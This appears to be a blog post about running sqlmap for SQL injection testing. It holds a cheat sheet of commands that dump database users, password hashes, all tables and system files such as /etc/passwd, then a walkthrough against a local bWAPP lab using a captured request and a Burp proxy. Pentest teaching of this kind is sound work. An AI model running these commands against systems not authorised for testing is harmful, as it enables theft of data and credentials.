What is the following command used for sqlmap py

Some usefull sqlmap command for testing SQL injection vulnerability.

1.Analyzing the current user is dba
python sqlmap.py -u “url” –is-dba -v 1
2) — users: user list database management system
python sqlmap.py -u “url” –users -v 0
3) — passwords: Database user password (hash)
python sqlmap.py -u “url” –passwords -v 0
python sqlmap.py -u “url” –passwords -U sa -v 0
4) To view the user permissions
python sqlmap.py -u “url” –privileges -v 0
python sqlmap.py -u “url” –privileges -U postgres -v 0
5) — dbs can use the database
python sqlmap.py -u “url” –dbs -v 0
6) — tables column in a table
python sqlmap.py -u “url” –tables -D “information_scheam”
-D: Specifies the name of the data
7) — columns are listed in the table column names
python sqlmap.py -u “url” –columns -T “user” -D “mysql” -v 1
-T: Specify the table name, -D: Specifies the library name
8) — dump the contents of the column specified in the list
python sqlmap.py -u “url” –dump -T “users” -D “testdb”
-C: You can specify fields
The specified column in the range of 2-4
python sqlmap.py -u “url” –dump -T “users” -D “testdb” –start 2 –stop 4 -v 0
9) — dumap-all List all databases, all tables content
python sqlmap.py -u “url” –dump-all -v 0
Only lists the contents of the user’s own new database and tables
python sqlmap.py -u “url” –dump-all –exclude-sysdbs -v 0
10) — file to read the content of the document [load_file () function]
python sqlmap.py -u “url” –file / etc / password
11) execute SQL
python sqlmap.py -u “url” –sql-shell
12) -p parameter specified
python sqlmap.py -u “url” -v 1 -p “id”
You can specify multiple -p parameter -p “cat, id”
13) POST submission
python sqlmap.py -u “url” –method POST –data “id = 1”
14) COOKIE Submit
python sqlmap.py -u “url” –cookie “id = 1” -v 1
cookie value can be crawled by the TamperData
15) refer to deceive
python sqlmap.py -u “url” –refer “url” -v 3
16) using a custom user-agent or user-agents.txt
python sqlmap.py -u “url” –user-agent “Mozilla / 4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3
python sqlmap.py -u “url” -v 1 -a “./txt/user-agents.txt”
17) use of multithreading guess solution
python sqlmap.py -u “url” -v 1 –current-user –threads 3
18) specify the database, bypassing the automatic detection SQLMAP
python sqlmap.py -u “url” -v 2 –dbms “PostgreSQL”
19) Specifies the operating system automatically detects the bypass SQLMAP
python sqlmap.py -u “url” -v 2 –os “Windows”
20) — prefix and –postfix custom payload
python sqlmap.py -u “url” -v 3 -p “id” –prefix ” ‘” –postfix “and’ test ‘=’ test”
21) union injection test
python sqlmap.py -u “url” –union-test -v -1
22) with the order by
python sqlmap.py -u “url” –union-test –union-tech orderby -v 1
23) python sqlmap.py -u “url” -v 1 –union-use –banner
24) python sqlmap.py -u “url” -v 5 –union-use –current-user
25) python sqlmap.py -u “url” -v 1 –union-use –dbs

Hi All, In my previous arctice i have described SQL Injection Exploitation using SQLmap

In this article we will see what are the different ways by which we can execute sqlmap tool.

For more information about different commands of sqlmap click here 

Process 1:- 

For demonstration purpose i will be using bWAPP on my localhost, i will use the same setup which i have shown you in my previous article

URL:- http://localhost/bWAPP/sqli_1.php?title=%27&action=search
Vulnerable parameter : title

So lets start how we can execute sqlmap by capturing the entire request.

Step 1: Capture the request in proxy like burp as shown below

Fig 2: Capturing the request which contains vulnerable parameter

Step 2 :Copy the request and save it in the folder where you have installed your sqlmap

                                      Fig 3: Copying the request which contains vulnerable parameter

Step 3: Copy + Paste it in the folder where you have installed the sqlmap. In my case i have installed sqlmap on below directory:-
D:\Soft_VAPT\SQLmap_windows\sqlmapproject-sqlmap-1b18035

So i will create one text file and will save the request say  sqlmap_text.txt

Fig 4: Creating text file on sqlmap folder

Step 4:-  Press Ctrl +Shift + Right Click(mouse)  to open command prompt

Fig 5: Opening cmd on sqlmap location

Fig 6: command prompt at sqlmap folder location  

Step 5:- Now its time to execute sqlmap. The command will be as below 

sqlmap.py -r text_file_name -p vulnerable_parameter --level=3 --risk=3

Where,

Target:-

-r = REQUESTFILE      Load HTTP request from a file 

Injection:-

-p = TESTPARAMETER    Testable parameter(s)

Detection:-

--level = LEVEL     Level of tests to perform (1-5, default 1)

--risk=RISK         Risk of tests to perform (0-3, default 1)

To  know more about the different sqlmap command  in command prompt  type  

sqlmap.py --help 

So the final command will be 

sqlmap.py -r sqlmap_test.txt -p title --level=3 --risk=3

Fig 7: sqlmap command   

Fig 8: sqlmap output showing database name

And like wise you can fetch information like 

Database Users

Tables in Database 

Colums from the user table

Database dump 

Process 2:-

What if you are testing application which has NTLM authentication, to know more about how to set NTLM authentication click here.

So if you want to set traffic to pass from your localhost set the command as follow 

sqlmap.py --proxy=http://127.0.0.1:8080 -r text_file_name -p vulnerable_parameter --level=3 --risk=3

Where,

Request:-

--proxy=PROXY       Use a proxy to connect to the target URL 

Now your SQLMap will attack on your web application through Burp suite which is already taking care of NTLM Authentication.

Process 3:-

If you are testing application in client environment where
=> Application is in UAT and hosted on internet then you must have
-  Set up upstream proxy in burpsuite
-  Your traffic will be passed from Browser ==> Burp Suite ==> UpStreamProxy

Then it might be possible that cipher suit compatibility issue with application/web server so in that case you might not get proper output in your sqlmap GUI also you will not get any response in your burpsuit history as traffic you are routing is through burp proxy.

Below error you will encounter

1- In Burp response you will get error like

OR

2- In sqlmap you will receive error like below

or

So in that case follow below step to solve this issue :-

1 - Set up burp suite as follow

By doing above setting at burp level now your sqlmap can easily handle each request.
PS: Make sure in your .txt file you have entered http request

Soon i will be updating many other techniques of using sqlmap. Stay tuned :) 

Thanks you.